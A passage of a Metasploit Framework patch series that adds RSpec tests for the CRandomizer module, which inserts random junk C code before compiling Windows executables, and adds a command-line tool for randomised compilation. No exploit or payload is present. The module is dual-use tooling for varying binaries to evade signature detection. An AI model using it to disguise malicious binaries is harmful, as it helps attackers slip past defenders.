tmp2.scan(/\w+/)[5] + return self.targets[1] else return nil end From bc6427e527fc20ffb8c74a1215050ae286d77240 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 02:20:02 -0500 Subject: [PATCH 061/217] Add rspec for CodeFactory::Base (WIP) --- .../crandomizer/code_factory/base_spec.rb | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb new file mode 100644 index 0000000000..284f0fdfbb --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb @@ -0,0 +1,30 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' +require 'metasploit/framework/obfuscation/crandomizer/utility' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Base do + let(:source_code) do + %Q| + void printf(const char*); + + int main() { + const char* s = "Hello World"; + printf(s); + return 0; + }| + + subject(:base) do + b = described_class.new + allow(b).to receive(:stub).and_return(source_code) + b + end + + describe '#stub' do + end + + describe '#good_dep?' do + end + + describe '#normalized_stub' do + end + end +end \ No newline at end of file From 8be771f72f119289c4e6cf729268b4bc2b03dbc1 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 14:47:28 -0500 Subject: [PATCH 062/217] Complete base_spec.rb --- .../crandomizer/code_factory/base_spec.rb | 67 +++++++++++++++---- 1 file changed, 53 insertions(+), 14 deletions(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb index 284f0fdfbb..e0af0e51b4 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base_spec.rb @@ -2,29 +2,68 @@ require 'metasploit/framework/obfuscation/crandomizer/code_factory' require 'metasploit/framework/obfuscation/crandomizer/utility' RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Base do - let(:source_code) do + let(:stub_code) do %Q| - void printf(const char*); - - int main() { - const char* s = "Hello World"; - printf(s); - return 0; + void stub() { + int x = 1; }| + end - subject(:base) do - b = described_class.new - allow(b).to receive(:stub).and_return(source_code) - b + subject(:base) do + allow_any_instance_of(described_class).to receive(:stub).and_return(stub_code) + described_class.new + end + + describe '#stub' do + it 'returns a string' do + expect(subject.stub.class).to be(String) end - describe '#stub' do + it 'returns the stub code' do + expect(subject.stub).to eq(stub_code) + end + end + + describe '#good_dep?' do + let(:source_code) do + %Q| + void printf(const char*); + + int main() { + const char* s = "Hello World"; + printf(s); + return 0; + }| end - describe '#good_dep?' do + let(:parser) do + Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(source_code) end - describe '#normalized_stub' do + + it 'returns true when the source supports printf' do + allow(subject).to receive(:dep).and_return(['printf']) + expect(subject.good_dep?(parser)).to be_truthy + end + + it 'returns false when the source does not support OutputDebugString' do + stub_code = %Q| + void OutputDebugString(const char*); + + void stub() { + OutputDebugString("test"); + }| + + allow(subject).to receive(:stub).and_return(stub_code) + allow(subject).to receive(:dep).and_return(['OutputDebugString']) + expect(subject.good_dep?(parser)).to be_falsy + end + end + + describe '#normalized_stub' do + it 'normalizes the stub' do + normalized_code = %Q|int x = 1;| + expect(subject.normalized_stub.join).to eq(normalized_code) end end end \ No newline at end of file From 93fca248d6b0c4dae8f2e1f415a0e3447e18355c Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 16:51:57 -0500 Subject: [PATCH 063/217] Add rspec for gettickcount --- .../code_factory/gettickcount_spec.rb | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb new file mode 100644 index 0000000000..46af7cd6e2 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount_spec.rb @@ -0,0 +1,37 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::GetTickCount do + + subject(:get_tick_count) do + described_class.new + end + + describe '#single_gettickcount' do + it 'is a string' do + expect(subject.send(:single_gettickcount).class).to be(String) + end + + it 'has a GetTickCount() declaration' do + expect(subject.send(:single_gettickcount)).to match(/int GetTickCount()/) + end + + it 'has a stub() function' do + expect(subject.send(:single_gettickcount)).to match(/void stub()/) + end + end + + describe '#diff_gettickcount' do + it 'is a string' do + expect(subject.send(:diff_gettickcount).class).to be(String) + end + + it 'has a GetTickCount() declaration' do + expect(subject.send(:diff_gettickcount)).to match(/int GetTickCount()/) + end + + it 'has a stub() function' do + expect(subject.send(:diff_gettickcount)).to match(/void stub()/) + end + end + +end \ No newline at end of file From 5631e6f89c0c1ca3dc487a65f610d3c5e09db43b Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 16:52:12 -0500 Subject: [PATCH 064/217] Update rspec for RandomStatements --- .../framework/obfuscation/crandomizer/random_statements_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb index 2c24ed124c..db705c6bf3 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb @@ -1,4 +1,3 @@ -require 'spec_helper' require 'metasploit/framework/obfuscation/crandomizer/random_statements' require 'metasploit/framework/obfuscation/crandomizer/code_factory' From 87d0bf1dc4070d2ce96bac61ef9e3ce860190fa6 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 20:57:35 -0500 Subject: [PATCH 065/217] Add rspec for if_spec --- .../crandomizer/code_factory/if_spec.rb | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if_spec.rb new file mode 100644 index 0000000000..2876d931be --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if_spec.rb @@ -0,0 +1,58 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::If do + + subject(:if_statement) do + described_class.new + end + + describe '#if_stub' do + it 'is a string' do + expect(subject.send(:if_stub).class).to be(String) + end + + it 'has an if statement' do + expect(subject.send(:if_stub)).to match(/if (.+) {/) + end + + it 'has a stub() function' do + expect(subject.send(:if_stub)).to match(/void stub()/) + end + end + + describe '#if_if_else_stub' do + it 'is a string' do + expect(subject.send(:if_if_else_stub).class).to be(String) + end + + it 'has an if statement' do + expect(subject.send(:if_if_else_stub)).to match(/if (.+) {/) + end + + it 'has an else if statement' do + expect(subject.send(:if_if_else_stub)).to match(/else if (.+) /) + end + + it 'has a stub() function' do + expect(subject.send(:if_if_else_stub)).to match(/void stub()/) + end + end + + describe '#if_else_stub' do + it 'is a string' do + expect(subject.send(:if_else_stub).class).to be(String) + end + + it 'has an if statement' do + expect(subject.send(:if_else_stub)).to match(/if (.+) {/) + end + + it 'has an else statement' do + expect(subject.send(:if_else_stub)).to match(/else {/) + end + + it 'has a stub() function' do + expect(subject.send(:if_else_stub)).to match(/void stub()/) + end + end +end \ No newline at end of file From e733e3b62cb74999fd3efd6ae5df5b564e6ba640 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 20:59:56 -0500 Subject: [PATCH 066/217] Add rpsec int_assignments_spec --- .../code_factory/int_assignments_spec.rb | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb new file mode 100644 index 0000000000..9cf70993fe --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb @@ -0,0 +1,22 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::IntAssignments do + + subject(:int_assignments) do + described_class.new + end + + describe '#if_stub' do + it 'is a string' do + expect(subject.send(:stub).class).to be(String) + end + + it 'has an int assignment' do + expect(subject.send(:stub)).to match(/int .+ = \d+/) + end + + it 'has a stub() function' do + expect(subject.send(:stub)).to match(/void stub()/) + end + end +end \ No newline at end of file From 03c3e081677be2e66d85e8de7dc9738b973c9c63 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:03:27 -0500 Subject: [PATCH 067/217] Add malloc_spec and fix int_assignments_spec --- .../crandomizer/code_factory/malloc_spec.rb | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb new file mode 100644 index 0000000000..ef8704220d --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Malloc do + + subject(:int_assignments) do + described_class.new + end + + describe '#stub' do + it 'is a string' do + expect(subject.send(:stub).class).to be(String) + end + + it 'has a malloc' do + expect(subject.send(:stub)).to match(/malloc\(\d+\)/) + end + + it 'has a stub() function' do + expect(subject.send(:stub)).to match(/void stub()/) + end + + it 'depends on stdlib.h' do + expect(subject.dep).to eq(['stdlib.h']) + end + end +end \ No newline at end of file From 5c86b836c472d1aa48d1be1885200c4acbed9297 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:08:15 -0500 Subject: [PATCH 068/217] Add rspec for outputdebugstring and correct a few things --- .../crandomizer/code_factory/malloc.rb | 2 +- .../code_factory/int_assignments_spec.rb | 2 +- .../crandomizer/code_factory/malloc_spec.rb | 4 +-- .../code_factory/outputdebugstring_spec.rb | 26 +++++++++++++++++++ 4 files changed, 30 insertions(+), 4 deletions(-) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb index 3129a8e439..f38f57ec58 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc.rb @@ -10,7 +10,7 @@ module Metasploit class Malloc < Base def initialize super - @dep = ['stdlib.h'] + @dep = ['malloc'] end def stub diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb index 9cf70993fe..7c6940a80e 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments_spec.rb @@ -6,7 +6,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Int described_class.new end - describe '#if_stub' do + describe '#stub' do it 'is a string' do expect(subject.send(:stub).class).to be(String) end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb index ef8704220d..22c3ae8f71 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/malloc_spec.rb @@ -19,8 +19,8 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Mal expect(subject.send(:stub)).to match(/void stub()/) end - it 'depends on stdlib.h' do - expect(subject.dep).to eq(['stdlib.h']) + it 'depends on malloc' do + expect(subject.dep).to eq(['malloc']) end end end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb new file mode 100644 index 0000000000..c9aec76724 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::OutputDebugString do + + subject(:int_assignments) do + described_class.new + end + + describe '#outputdebugstring_1' do + it 'is a string' do + expect(subject.send(:outputdebugstring_1).class).to be(String) + end + + it 'has an OutputDebugString' do + expect(subject.send(:outputdebugstring_1)).to match(/OutputDebugString\(.+\)/) + end + + it 'has a stub() function' do + expect(subject.send(:outputdebugstring_1)).to match(/void stub()/) + end + + it 'depends on stdlib.h' do + expect(subject.dep).to eq(['OutputDebugString']) + end + end +end \ No newline at end of file From 39bbfb0c58de143960add59dc42b038be07d081b Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:10:26 -0500 Subject: [PATCH 069/217] Update outputdebugstring rspec --- .../code_factory/outputdebugstring_spec.rb | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb index c9aec76724..2b55660b53 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb @@ -23,4 +23,22 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Out expect(subject.dep).to eq(['OutputDebugString']) end end + + describe '#outputdebugstring_2' do + it 'is a string' do + expect(subject.send(:outputdebugstring_2).class).to be(String) + end + + it 'has an OutputDebugString' do + expect(subject.send(:outputdebugstring_2)).to match(/OutputDebugString\(.+\)/) + end + + it 'has a stub() function' do + expect(subject.send(:outputdebugstring_2)).to match(/void stub()/) + end + + it 'depends on stdlib.h' do + expect(subject.dep).to eq(['OutputDebugString']) + end + end end \ No newline at end of file From 066843bb6c8a073f111438092b096ffb96d06ae4 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:12:34 -0500 Subject: [PATCH 070/217] Add printf_spec --- .../crandomizer/code_factory/printf_spec.rb | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb new file mode 100644 index 0000000000..835c898a9a --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Printf do + + subject(:printf) do + described_class.new + end + + describe '#stub' do + it 'is a string' do + expect(subject.send(:stub).class).to be(String) + end + + it 'has a printf' do + expect(subject.send(:stub)).to match(/printf\(.+\)/) + end + + it 'has a stub() function' do + expect(subject.send(:stub)).to match(/void stub()/) + end + + it 'depends on printf' do + expect(subject.dep).to eq(['printf']) + end + end +end \ No newline at end of file From 0d55412e80da9e9c12d5816bd30b1062750bc9d5 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:15:30 -0500 Subject: [PATCH 071/217] add string_assignments_spec --- .../code_factory/string_assignments_spec.rb | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb new file mode 100644 index 0000000000..ee3ccf7676 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb @@ -0,0 +1,22 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::StringAssignments do + + subject(:stringassignments) do + described_class.new + end + + describe '#stub' do + it 'is a string' do + expect(subject.send(:stub).class).to be(String) + end + + it 'assigns a string' do + expect(subject.stub).to match(/const char\* .+ = ".+"/) + end + + it 'has a stub() function' do + expect(subject.send(:stub)).to match(/void stub()/) + end + end +end \ No newline at end of file From 52047a6c5926ee520bbbee28a68d73792d0c795d Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:21:54 -0500 Subject: [PATCH 072/217] Add switch_spec --- .../crandomizer/code_factory/switch.rb | 18 ++++------- .../code_factory/outputdebugstring_spec.rb | 4 +-- .../crandomizer/code_factory/printf_spec.rb | 6 ++-- .../code_factory/string_assignments_spec.rb | 4 +-- .../crandomizer/code_factory/switch_spec.rb | 32 +++++++++++++++++++ 5 files changed, 45 insertions(+), 19 deletions(-) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch_spec.rb diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb index 77e6d0b502..5b4fec1006 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch.rb @@ -18,23 +18,17 @@ module Metasploit private def switch_1 - var_name_1 = "x#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" - var_name_2 = "y#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" - var_name_3 = "delta#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" - + var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}" %Q| - int GetTickCount(); - void stub() { - int #{var_name_1} = GetTickCount(); - int #{var_name_2} = GetTickCount(); - int #{var_name_3} = #{var_name_2} - #{var_name_1}; - switch(#{var_name_3}) { + int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + switch (#{var_name}) { case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}: - #{var_name_2} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; break; default: - #{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}; + break; } }| end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb index 2b55660b53..6fedc8d326 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring_spec.rb @@ -2,7 +2,7 @@ require 'metasploit/framework/obfuscation/crandomizer/code_factory' RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::OutputDebugString do - subject(:int_assignments) do + subject(:outputdebugstring) do described_class.new end @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Out expect(subject.send(:outputdebugstring_2)).to match(/void stub()/) end - it 'depends on stdlib.h' do + it 'depends on OutputDebugString' do expect(subject.dep).to eq(['OutputDebugString']) end end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb index 835c898a9a..0ce87eaf62 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf_spec.rb @@ -8,15 +8,15 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Pri describe '#stub' do it 'is a string' do - expect(subject.send(:stub).class).to be(String) + expect(subject.stub.class).to be(String) end it 'has a printf' do - expect(subject.send(:stub)).to match(/printf\(.+\)/) + expect(subject.stub).to match(/printf\(.+\)/) end it 'has a stub() function' do - expect(subject.send(:stub)).to match(/void stub()/) + expect(subject.stub).to match(/void stub()/) end it 'depends on printf' do diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb index ee3ccf7676..48ff145f5c 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments_spec.rb @@ -8,7 +8,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Str describe '#stub' do it 'is a string' do - expect(subject.send(:stub).class).to be(String) + expect(subject.stub.class).to be(String) end it 'assigns a string' do @@ -16,7 +16,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Str end it 'has a stub() function' do - expect(subject.send(:stub)).to match(/void stub()/) + expect(subject.stub).to match(/void stub()/) end end end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch_spec.rb new file mode 100644 index 0000000000..9cad19d42f --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/switch_spec.rb @@ -0,0 +1,32 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Switch do + + subject(:switch) do + described_class.new + end + + describe '#switch_1' do + it 'is a string' do + expect(subject.send(:switch_1).class).to be(String) + end + + it 'has a switch' do + expect(subject.send(:switch_1)).to match(/switch(.+)/) + end + + it 'has a default' do + expect(subject.send(:switch_1)).to match(/default:/) + end + end + + describe '#switch_2' do + it 'is a string' do + expect(subject.send(:switch_2).class).to be(String) + end + + it 'has a switch' do + expect(subject.send(:switch_2)).to match(/switch(.+)/) + end + end +end \ No newline at end of file From 46219303e2de53e49e620020914f1f695fbb0e35 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 28 Jun 2018 21:24:35 -0500 Subject: [PATCH 073/217] Add uninit_variables_spec --- .../code_factory/uninit_variables_spec.rb | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb new file mode 100644 index 0000000000..f3e9eb8800 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables_spec.rb @@ -0,0 +1,38 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::UninitVariables do + + subject(:uninitvariables) do + described_class.new + end + + describe '#char' do + it 'is a string' do + expect(subject.send(:char).class).to be(String) + end + + it 'has a char' do + expect(subject.send(:char)).to match(/char /) + end + end + + describe '#int' do + it 'is a string' do + expect(subject.send(:int).class).to be(String) + end + + it 'has a switch' do + expect(subject.send(:int)).to match(/int /) + end + end + + describe '#string' do + it 'is a string' do + expect(subject.send(:string).class).to be(String) + end + + it 'has a switch' do + expect(subject.send(:string)).to match(/const char\* /) + end + end +end \ No newline at end of file From d9b664c86a9d8d9c5b60d7c93cbdefde6ebba2c3 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 29 Jun 2018 00:07:40 -0500 Subject: [PATCH 074/217] Change option name --- lib/metasploit/framework/compiler/windows.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index 504ded2d8f..2d2fc7d35f 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -54,12 +54,11 @@ module Metasploit type = opts[:type] || :exe cpu = opts[:cpu] || Metasm::Ia32.new fake_function_size = opts[:fake_function_size] || rand(0..3) - weight = opts[:random_weight] || 80 + weight = opts[:weight] || 80 headers = Compiler::Headers::Windows.new source_code = Compiler::Utils.normalize_code(c_template, headers) randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight) randomized_code = randomizer.parse(source_code) - puts randomized_code self.compile_c(randomized_code.to_s, type, cpu) end From 38b2a21e90817c67f8a0a4073c2388ca57926ffc Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 29 Jun 2018 00:08:32 -0500 Subject: [PATCH 075/217] Add random_compile_c --- tools/exploit/random_compile_c.rb | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 tools/exploit/random_compile_c.rb diff --git a/tools/exploit/random_compile_c.rb b/tools/exploit/random_compile_c.rb new file mode 100644 index 0000000000..10aa23bb2d --- /dev/null +++ b/tools/exploit/random_compile_c.rb @@ -0,0 +1,26 @@ +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) + +require 'msf/core' +require 'metasploit/framework/compiler/windows' + +weight = ARGV.shift +source_code_path = ARGV.shift +out_path = ARGV.shift + +if source_code_path.nil? || source_code_path.empty? || !File.exists?(source_code_path) + puts "Please set the source code path" + exit +elsif out_path.nil? || out_path.empty? + puts "Please set the destination path" + exit +end + +source_code = File.read(source_code_path) +Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(out_path, source_code, weight: weight.to_i) +if File.exists?(out_path) + puts "File saved as #{out_path}" +end \ No newline at end of file From 856b7e3d0cc48435adf4eb577850bea57b37f5da Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 29 Jun 2018 00:09:28 -0500 Subject: [PATCH 076/217] Remove randomized_compile_c --- tools/exploit/randomized_compile_c.rb | 26 -------------------------- 1 file changed, 26 deletions(-) delete mode 100644 tools/exploit/randomized_compile_c.rb diff --git a/tools/exploit/randomized_compile_c.rb b/tools/exploit/randomized_compile_c.rb deleted file mode 100644 index 2513b4bc0c..0000000000 --- a/tools/exploit/randomized_compile_c.rb +++ /dev/null @@ -1,26 +0,0 @@ -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) - -require 'msf/core' -require 'metasploit/framework/compiler/windows' - -template = %Q| -#define CONTENT "HELLO WORLD" -#define TITLE "HI" -#include - -void TryHelloWorld() { - MessageBox(NULL, CONTENT, TITLE, MB_OK); -} - -int main() { - TryHelloWorld(); - return 0; -}| - -out_file = '/tmp/helloworld.exe' -Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(out_file, template) -puts "saved as #{out_file}" \ No newline at end of file From 711d859d139ec8b11aba4886d7387e9ae08559a6 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 29 Jun 2018 01:42:22 -0500 Subject: [PATCH 077/217] Update utility_spec --- .../framework/obfuscation/crandomizer/utility_spec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb index 562bdad031..b6b8453c2d 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb @@ -6,7 +6,9 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Utility do describe '#self.rand_int' do it 'returns an integer' do int = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int - expect(int.class).to eq(Integer) + # Ruby at one point switched from Fixnum to Integer, so to support both, + # it's easier to do a regex check. + expect(int.to_s).to match(/^\d+$/) end it 'returns a random integer' do From 